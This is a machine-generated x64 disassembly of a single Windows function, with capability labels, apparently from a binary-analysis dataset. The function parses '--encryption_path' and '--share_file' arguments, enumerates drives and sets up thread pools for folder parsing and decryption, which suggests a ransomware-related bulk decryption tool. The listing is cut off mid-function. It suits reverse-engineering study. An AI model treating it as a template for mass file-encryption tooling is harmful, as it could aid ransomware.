Function at 0x140017190
Capabilities:
Accept command line arguments
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x6b8]
sub rsp, 0x790
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400ae368]
xor rax, rsp
mov qword [rbp + 0x670], rax
lea rcx, [rbp + 0x4c0]
call fcn.14005c53c
lea rcx, [rbp + 0x4c0]
call fcn.14005be50
mov r9, rax
lea r8, str.Log__d__m__Y__H__M__S
mov edx, 0x50
lea rcx, [rbp + 0x620]
call fcn.14005c290
xorps xmm0, xmm0
movups xmmword [rbp + 0x4c8], xmm0
xor r12d, r12d
mov qword [rbp + 0x4d8], r12
mov qword [rbp + 0x4e0], r12
lea rax, [rbp + 0x620]
mov r13, 0xffffffffffffffff
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140017230
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x4c8]
call fcn.1400035f0
lea rdx, [rbp + 0x4c8]
call fcn.140016e40
xorps xmm0, xmm0
movups xmmword [rbp + 0x400], xmm0
mov ebx, 7
mov word [rbp + 0x400], r12w
movups xmmword [rbp + 0x3e0], xmm0
mov qword [rbp + 0x3f0], r12
mov qword [rbp + 0x3f8], rbx
mov word [rbp + 0x3e0], r12w
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x3d8]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rdi, rax
xorps xmm0, xmm0
test rax, rax
je 0x140018656
xor eax, eax
mov qword [rbp + 0x4a2], rax
mov dword [rbp + 0x4aa], eax
mov word [rbp + 0x4ae], ax
movdqa xmmword [rbp + 0x440], xmm0
mov qword [rbp + 0x450], r12
mov qword [rbp + 0x460], r12
lea ecx, [rbx + 0x59]
call fcn.14004c6f0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x458], rax
mov qword [rbp + 0x468], r12
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x470], xmm0
mov qword [rbp + 0x488], r12
lea ecx, [rbx + 0x39]
call fcn.14004c6f0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x480], rax
mov qword [rbp + 0x498], r12
lea ecx, [rbx + 0x39]
call fcn.14004c6f0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x490], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a0], xmm0
mov qword [rbp + 0x4b0], r12
mov qword [rbp + 0x4b8], rbx
mov word [rbp + 0x4a0], r12w
movsxd rdx, dword [rbp + 0x3d8]
mov r8, rdi
lea rcx, [rbp + 0x440]
call fcn.14001dc10
lea rax, [0x140099350]
mov qword [rbp + 0x10], rax
lea rax, str.__encryption_path
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x60], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x68], rax
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp + 0xc0], xmm0
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x440]
call fcn.1400192b0
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0x40]
call fcn.14001a0c0
movups xmm0, xmmword [rbp + 0x40]
movups xmmword [rbp + 0x400], xmm0
movups xmm6, xmmword [rbp + 0x50]
movups xmmword [rbp + 0x410], xmm6
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], rbx
mov word [rbp + 0x40], r12w
mov rax, qword [rbp + 0x188]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x188], rax
mov rax, qword [rbp + 0x188]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x184], edx
lea rcx, [rbp + 0x198]
call fcn.140018f20
mov rax, qword [rbp + 0x188]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x188], rax
mov rax, qword [rbp + 0x188]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x184], edx
lea r15, vtable.std::ios_base.0
mov qword [rbp + 0x218], r15
lea rcx, [rbp + 0x218]
call fcn.140040800
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov r14d, 2
mov r8d, r14d
lea rdx, [0x14009937c]
lea rcx, [rsp + 0x30]
call fcn.14001ed80
mov rbx, qword [rbp + 0x480]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x80]
call fcn.14001a2e0
mov rdx, rax
lea rcx, [rbp + 0x480]
call fcn.14001efc0
mov rsi, rax
mov rdx, qword [rbp + 0x98]
cmp rdx, 8
jb 0x140017536
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017531
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018801
call fcn.14004c97c
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140017578
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017573
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018807
call fcn.14004c97c
lea rax, [0x140099384]
mov qword [rsp + 0x60], rax
lea rax, str.__share_file
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x3b0], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x3b8], rax
movaps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0xd0], xmm0
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x440]
call fcn.1400192b0
lea rcx, [rax + 0x10]
lea rdx, [rbp + 0x60]
call fcn.14001a0c0
mov rdx, qword [rbp + 0x3f8]
cmp rdx, 8
jb 0x140017624
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x3e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001761f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001880d
call fcn.14004c97c
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [rbp + 0x3e0], xmm0
movups xmm1, xmmword [rbp + 0x70]
movups xmmword [rbp + 0x3f0], xmm1
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 7
mov word [rbp + 0x60], r12w
mov rax, qword [rbp + 0x278]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x278], rax
mov rax, qword [rbp + 0x278]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x274], edx
lea rcx, [rbp + 0x288]
call fcn.140018f20
mov rax, qword [rbp + 0x278]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x278], rax
mov rax, qword [rbp + 0x278]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x274], edx
mov qword [rbp + 0x308], r15
lea rcx, [rbp + 0x308]
call fcn.140040800
nop
mov rdx, qword [rbp + 0x4b8]
cmp rdx, 8
jb 0x140017712
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x4a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001770d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018813
call fcn.14004c97c
mov qword [rbp + 0x4b0], r12
mov qword [rbp + 0x4b8], 7
mov word [rbp + 0x4a0], r12w
mov r8, qword [rbp + 0x490]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x490]
lea rcx, [rbp + 0x490]
call fcn.1400268f0
mov edx, 0x40
mov rcx, qword [rbp + 0x490]
call fcn.14004c97c
mov r8, qword [rbp + 0x480]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x480]
call fcn.1400268f0
mov edx, 0x40
mov rcx, qword [rbp + 0x480]
call fcn.14004c97c
lea rcx, [rbp + 0x468]
call fcn.14000f480
lea rcx, [rbp + 0x458]
call fcn.140019240
lea rcx, [rbp + 0x440]
call fcn.14000f480
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.14003ff54
mov rdi, rax
call fcn.14003ff38
cmp rdi, 0x989680
jne 0x1400177d3
imul rdi, rax, 0x64
jmp 0x1400177ef
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
lea rdi, [rax + rcx]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
lea rcx, [rbp + 0x420]
call fcn.14003ed00
cmp rbx, rsi
je 0x140017941
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
mov r8d, 0xe
lea rdx, str.List_of_drives
lea rcx, [rsp + 0x30]
call fcn.1400035f0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x14001786b
lea r8, [rsp + 0x30]
mov edx, r14d
call fcn.14000baf0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x14001786b
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400178a8
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400178a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018819
call fcn.14004c97c
mov rbx, qword [rbp + 0x420]
mov rdi, qword [rbp + 0x428]
cmp rbx, rdi
je 0x14001863e
mov rdx, rbx
lea rcx, [rbp + 0x80]
call fcn.14003f030
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x1400178f7
mov r8, rax
mov edx, r14d
call fcn.14000baf0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x1400178f7
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140017938
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017933
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001881f
call fcn.14004c97c
add rbx, 0x20
jmp 0x1400178b6
lea rcx, [rbp + 0x5f0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [rbp + 0x610]
test ebx, ebx
jne 0x1400179f3
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
lea r8d, [rbx + 0x11]
lea rdx, str.No_cpu_available_
lea rcx, [rsp + 0x30]
call fcn.1400035f0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x1400179ae
lea r8, [rsp + 0x30]
lea edx, [rbx + 4]
call fcn.14000baf0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x1400179ae
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14001863e
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018639
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400187fb
jmp 0x140018639
mov ecx, 0x38
call fcn.14004c6f0
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], rcx
mov rcx, rax
call fcn.140042740
mov rsi, rax
mov qword [rbp + 8], rax
test rax, rax
je 0x1400185ab
lea rcx, str.2348
call fcn.1400537d8
mov edx, eax
xor r9d, r9d
lea r8, [0x1400af010]
mov rcx, rsi
call fcn.140042f70
test eax, eax
jne 0x1400185ab
mov qword [rbp + 0x3a8], rsi
cmp ebx, 4
jg 0x140017a66
cmp ebx, 1
cmove ebx, r14d
add ebx, ebx
imul ecx, ebx, 0x1e
mov eax, 0x51eb851f
imul ecx
mov r8d, edx
sar r8d, 5
mov ecx, r8d
shr ecx, 0x1f
add r8d, ecx
mov dword [rsp + 0x54], r8d
lea ecx, [rbx + rbx*4]
add ecx, ecx
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [rsp + 0x50], edx
jne 0x140017aae
mov dword [rsp + 0x50], 1
mov edx, 1
sub ebx, edx
sub ebx, r8d
mov dword [rsp + 0x58], ebx
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0xf0]
call fcn.14000a130
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x25
jb 0x140017b63
lea rax, [r8 + 0x25]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 0x10
jb 0x140017af7
mov rsi, qword [rbx]
lea rax, [0x140099435]
mov r12d, 0x25
lea r15, str.Number_of_thread_to_folder_parsers_
cmp rax, rsi
jbe 0x140017b2b
lea rax, [rsi + r8]
cmp r15, rax
ja 0x140017b2b
cmp rsi, r15
ja 0x140017b23
xor r14d, r14d
jmp 0x140017b2e
mov r14, rsi
sub r14, r15
jmp 0x140017b2e
mov r14, r12
inc r8
lea rcx, [rsi + 0x25]
mov rdx, rsi
call fcn.14004e9c0
mov r8, r14
mov rdx, r15
mov rcx, rsi
call fcn.14004e9c0
sub r12, r14
lea rdx, [r15 + 0x25]
add rdx, r14
lea rcx, [rsi + r14]
mov r8, r12
call fcn.14004e9c0
jmp 0x140017b88
mov r12d, 0x25
mov qword [rsp + 0x28], r12
lea r15, str.Number_of_thread_to_folder_parsers_
mov qword [rsp + 0x20], r15
mov edx, r12d
mov rcx, rbx
call fcn.14000bca0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xor r14d, r14d
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r14b
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x140017be3
lea r8, [rbp - 0x70]
lea edx, [r14 + 2]
call fcn.14000baf0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x140017be3
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140017c1e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017c19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018825
call fcn.14004c97c
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r14b
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x140017c6f
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017c6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018825
call fcn.14004c97c
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x110]
call fcn.14000a130
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x2a
jb 0x140017d15
lea rax, [r8 + 0x2a]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 0x10
jb 0x140017cab
mov rsi, qword [rbx]
lea rax, [0x140099462]
mov r12d, 0x2a
lea r15, str.Number_of_thread_to_root_folder_parsers_
cmp rax, rsi
jbe 0x140017cda
lea rax, [rsi + r8]
cmp r15, rax
ja 0x140017cda
cmp rsi, r15
jbe 0x140017cdd
mov r14, rsi
sub r14, r15
jmp 0x140017cdd
mov r14, r12
inc r8
lea rcx, [rsi + 0x2a]
mov rdx, rsi
call fcn.14004e9c0
mov r8, r14
mov rdx, r15
mov rcx, rsi
call fcn.14004e9c0
sub r12, r14
lea rdx, [r15 + 0x2a]
add rdx, r14
lea rcx, [rsi + r14]
mov r8, r12
call fcn.14004e9c0
xor r14d, r14d
jmp 0x140017d3a
mov r12d, 0x2a
mov qword [rsp + 0x28], r12
lea r15, str.Number_of_thread_to_root_folder_parsers_
mov qword [rsp + 0x20], r15
mov edx, r12d
mov rcx, rbx
call fcn.14000bca0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x140017d93
lea r8, [rbp - 0x50]
mov edx, 2
call fcn.14000baf0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x140017d93
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140017dce
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017dc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001882b
call fcn.14004c97c
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140017e1f
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001882b
call fcn.14004c97c
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x130]
call fcn.14000a130
mov rbx, rax
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
cmp rax, 0x1f
jb 0x140017ec2
lea rax, [r8 + 0x1f]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 0x10
jb 0x140017e5b
mov rsi, qword [rbx]
lea rax, [0x140099487]
mov r12d, 0x1f
lea r15, str.Number_of_threads_to_decrypt_
cmp rax, rsi
jbe 0x140017e8a
lea rax, [rsi + r8]
cmp r15, rax
ja 0x140017e8a
cmp rsi, r15
jbe 0x140017e8d
mov r14, rsi
sub r14, r15
jmp 0x140017e8d
mov r14, r12
inc r8
lea rcx, [rsi + 0x1f]
mov rdx, rsi
call fcn.14004e9c0
mov r8, r14
mov rdx, r15
mov rcx, rsi
call fcn.14004e9c0
sub r12, r14
lea rdx, [r15 + 0x1f]
add rdx, r14
lea rcx, [rsi + r14]
mov r8, r12
call fcn.14004e9c0
jmp 0x140017ee7
mov r12d, 0x1f
mov qword [rsp + 0x28], r12
lea r15, str.Number_of_threads_to_decrypt_
mov qword [rsp + 0x20], r15
mov edx, r12d
mov rcx, rbx
call fcn.14000bca0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xor r12d, r12d
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r12b
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x140017f46
lea r8, [rsp + 0x70]
lea edx, [r12 + 2]
call fcn.14000baf0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x140017f46
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140017f82
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018831
call fcn.14004c97c
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], r12b
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140017fd4
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017fcf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018831
call fcn.14004c97c
mov ecx, 0x180
call fcn.14004c6f0
mov r14, rax
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_ThreadPool_.0
mov qword [r14], rax
lea r15, [r14 + 0x10]
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x54]
mov rcx, r15
call fcn.14003bd10
test r15, r15
je 0x140018083
mov rax, qword [r15 + 8]
test rax, rax
je 0x140018022
cmp dword [rax + 8], r12d
jne 0x140018083
lock inc dword [r14 + 8]
lock inc dword [r14 + 0xc]
mov qword [r15], r15
mov rcx, qword [r15 + 8]
mov qword [r15 + 8], r14
test rcx, rcx
je 0x14001804f
mov eax, r13d
lock xadd dword [rcx + 0xc], eax
cmp eax, 1
jne 0x14001804f
mov rax, qword [rcx]
call qword [rax + 8]
mov eax, r13d
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x14001807c
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
mov eax, r13d
lock xadd dword [r14 + 0xc], eax
cmp eax, 1
jne 0x14001807c
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
movups xmm6, xmmword [rbp + 0x410]
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x3b0]
call fcn.14001e0d0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3c0], xmm0
mov qword [rbp + 0x3d0], r12
cmp qword [rbp + 0x3f0], r12
je 0x140018126
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x170]
call fcn.14000dce0
lea rcx, [rbp + 0x3c0]
cmp rcx, rax
je 0x140018111
mov rbx, qword [rax]
mov qword [rbp + 0x3c0], rbx
mov rcx, qword [rax + 8]
mov qword [rbp + 0x3c8], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x3d0], rcx
mov qword [rax], r12
mov qword [rax + 8], r12
mov qword [rax + 0x10], r12
lea rcx, [rbp + 0x170]
call fcn.14000f480
jmp 0x14001812d
mov rbx, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x170]
call fcn.14000f480
jmp 0x14001812d
mov rbx, qword [rbp + 0x3c0]
movq rax, xmm6
mov rsi, qword [rbp + 0x3b8]
test rax, rax
je 0x1400181a7
movups xmm0, xmmword [rbp + 0x400]
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm6
mov qword [rbp + 0x418], 7
mov word [rbp + 0x400], r12w
test rsi, rsi
je 0x140018176
lock inc dword [rsi + 8]
mov rsi, qword [rbp + 0x3b8]
movaps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0xe0], xmm0
lea r9, [rbp + 0x3a8]
lea r8, [rbp + 0x150]
lea rdx, [rbp + 0xe0]
mov rcx, r15
call fcn.14003be90
jmp 0x14001828e
cmp rbx, qword [rbp + 0x3c8]
je 0x140018211
mov rdx, rbx
lea rcx, [rbp + 0x368]
call fcn.140006e00
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xa0], xmm0
test rsi, rsi
je 0x1400181da
lock inc dword [rsi + 8]
mov rsi, qword [rbp + 0x3b8]
movaps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0xa0], xmm0
lea r9, [rbp + 0x3a8]
mov r8, rax
lea rdx, [rbp + 0xa0]
mov rcx, r15
call fcn.14003be90
add rbx, 0x20
cmp rbx, qword [rbp + 0x3c8]
jne 0x1400181b0
jmp 0x14001828e
mov r12, qword [rbp + 0x428]
mov rbx, qword [rbp + 0x420]
cmp rbx, r12
je 0x14001828b
nop dword [rax]
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x388]
call fcn.140006e00
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb0], xmm0
test rsi, rsi
je 0x14001825a
lock inc dword [rsi + 8]
mov rsi, qword [rbp + 0x3b8]
movaps xmm0, xmmword [rbp + 0x3b0]
movdqa xmmword [rbp + 0xb0], xmm0
lea r9, [rbp + 0x3a8]
mov r8, rax
lea rdx, [rbp + 0xb0]
mov rcx, r15
call fcn.14003be90
add rbx, 0x20
cmp rbx, r12
jne 0x140018230
xor r12d, r12d
cmp dword [r15 + 0x34], 0
je 0x14001829e
mov rcx, qword [r15 + 0x20]
call fcn.14003bb50
mov rcx, qword [r15 + 0x10]
call fcn.14003bb50
mov rbx, qword [rbp + 0x3b0]
cmp dword [rbx + 0x34], 0
je 0x1400182bd
mov rcx, qword [rbx + 0x20]
call fcn.14003bb50
mov rcx, qword [rbx + 0x10]
call fcn.14003bb50
mov rcx, qword [rbp + 8]
call fcn.140042ee0
xor edx, edx
mov rcx, qword [rbp + 8]
call fcn.14004c97c
call fcn.14003ff54
mov rbx, rax
call fcn.14003ff38
cmp rbx, 0x989680
jne 0x1400182f6
imul rbx, rax, 0x64
jmp 0x140018317
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
sub rbx, rdi
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x4f0]
call fcn.14004f060
mov edx, 1
lea rcx, [rbp + 0x4f0]
call fcn.14000ae70
movabs rax, 0x431bde82d7b634db
imul rbx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rbp + 0x500]
call fcn.140023c90
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
mov ecx, dword [rbp + 0x578]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x1400183ca
mov rax, qword [rbp + 0x548]
mov r8, qword [rax]
test r8, r8
je 0x1400183ca
mov rax, qword [rbp + 0x528]
mov rdx, qword [rax]
mov qword [rbp - 0x10], rdx
cmp r8, qword [rbp + 0x570]
cmovb r8, qword [rbp + 0x570]
sub r8, rdx
mov qword [rbp - 8], r8
jmp 0x14001840a
test cl, 4
jne 0x140018402
mov rax, qword [rbp + 0x540]
mov rcx, qword [rax]
test rcx, rcx
je 0x140018402
mov rax, qword [rbp + 0x520]
mov rdx, qword [rax]
mov qword [rbp - 0x10], rdx
mov rax, qword [rbp + 0x558]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
mov qword [rbp - 8], r8
jmp 0x14001840a
mov r8, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
test rdx, rdx
je 0x140018418
lea rcx, [rbp + 0x20]
call fcn.140008320
lea rcx, [rbp + 0x4f0]
call fcn.140007310
mov r8d, 3
lea rdx, [0x140099488]
lea rcx, [rbp + 0x20]
call fcn.1400034d0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x140018493
lea r8, [rbp - 0x30]
mov edx, 2
call fcn.14000baf0
mov rcx, qword [0x1400b5c08]
test rcx, rcx
je 0x140018493
mov rax, qword [rcx]
call qword [rax + 0x18]
